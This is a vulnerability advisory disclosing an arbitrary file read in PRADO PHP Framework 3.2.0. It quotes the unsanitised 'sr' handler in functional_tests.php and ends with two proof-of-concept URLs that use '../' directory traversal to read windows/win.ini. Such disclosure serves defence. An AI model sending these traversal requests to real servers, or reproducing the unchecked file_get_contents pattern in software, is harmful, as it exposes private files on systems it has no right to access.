PRADO PHP Framework 3.2.0 Arbitrary File Read Vulnerability


Vendor: Prado Software
Product web page: http://www.pradosoft.com
Affected version: 3.2.0 (r3169)

Summary: PRADO is a component-based and event-driven programming
framework for developing Web applications in PHP 5. PRADO stands
for PHP Rapid Application Development Object-oriented.

Desc: Input passed to the 'sr' parameter in 'functional_tests.php'
is not properly sanitised before being used to get the contents of
a resource. This can be exploited to read arbitrary data from local
resources with directory traversal attack.


---------------------------------------------------------------------------------------
/tests/test_tools/functional_tests.php:
---------------------------------------

 3: $TEST_TOOLS = dirname(__FILE__);
 4:
 5: if(isset($_GET['sr']))
 6: {
 7:
 8:     if(($selenium_resource=realpath($TEST_TOOLS.'/selenium/'.$_GET['sr']))!==false)
 9:         echo file_get_contents($selenium_resource);
10: exit;
11: }

---------------------------------------------------------------------------------------


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5113
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5113.php



25.11.2012

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http://172.162.133.7/tests/test_tools/functional_tests.php?sr=../../../../../../windows/win.ini
http://172.162.133.7/demos/time-tracker/tests/functional.php?sr=../../../../../../windows/win.ini